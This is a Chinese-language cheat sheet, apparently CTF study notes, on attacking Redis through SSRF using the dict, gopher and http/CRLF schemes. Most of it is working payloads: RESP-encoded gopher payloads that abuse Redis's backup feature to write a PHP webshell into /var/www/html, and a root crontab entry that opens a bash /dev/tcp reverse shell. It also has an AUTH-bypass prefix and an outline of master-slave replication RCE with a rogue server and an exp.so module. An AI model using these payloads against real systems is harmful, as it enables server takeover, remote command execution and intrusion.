ssrf与redis安全
基础命令
- 远程登录
redis-cli -h host -p port -a password
- 键
SET runoobkey redis
DEL runoobkey
keys *
获取所有键值
- 字符串
get runoobkey
- 连接
AUTH "password"
验证密码
- 字符串操作
set tmp 1\nbitop xor res flag tmp
复制指定键的一种方法setrange flag 4 z
修改字符串
Redis客户端支持管道操作,可以通过单个写入操作发送多个命令,而无需在发出下一个命令之前读取上一个命令的服务器回复。所有的回复都可以在最后阅读
dict/gopher/http
dict
只能执行一条命令dict://0.0.0.0:6379/auth pass
,所以无法用来攻击需要认证的redis
gopher
支持多行。因此要在传输的数据前加一个无用字符。比如gopher://ip:port/_
通常用_
,并不是只能用_
,gopher协议会将第一个字符"吃掉"。
http
如果使用存在crlf注入的方式,一样可以用http来攻击redishttp://127.0.0.1:6379?%0d%0aKEYS%20*%0d%0apadding
攻击方式
攻击需要认证的redis
在payload前加上%2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123123%0D%0A
写webshell
推荐工具Gopherus
urldecode工具生成的payload,具体含义可以参考浅析SSRF认证攻击Redis
*1
$8
flushall
*3
$3
set
$1
1
$34
<?php system($_GET['cmd']); ?>
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save
翻译成redis命令大概就是
flushall
set 1 "\n\n<?php system($_GET['cmd']); ?>\n\n"
config set dir /var/www/html
config set dbfilename shell.php
save
可见利用的是redis数据库备份的功能来写webshell
写crontab反弹shell(仅限centos)
*1
$8
flushall
*3
$3
set
$1
1
$64
*/1 * * * * bash -c "sh -i >& /dev/tcp/127.0.0.1/1234 0>&1"
*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
原理和写webshell一样,只是改成写crontab
flushall
set 1 "\n\n*/1 * * * * bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"\n\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save
主从复制
GKCTF-EzWeb+redis未授权访问
初探Redis-wdb玄武组ssrfme&pwnhub公开赛
我们redis主从复制RCE的方式,其实就是利用了redis简洁的协议,构造恶意服务器,将原本用于存储备份的rdb文件,替换为我们恶意的exp.so。这样节点redis中就会自动生成exp.so,使得我们可以用load_module进行rce.
rogue-server.py
来自https://github.com/xmsec/redis-ssrf,用这里的ssrf-redis.py
生成执行命令的payload
exp.so
来自https://github.com/n0b0dyCN/redis-rogue-server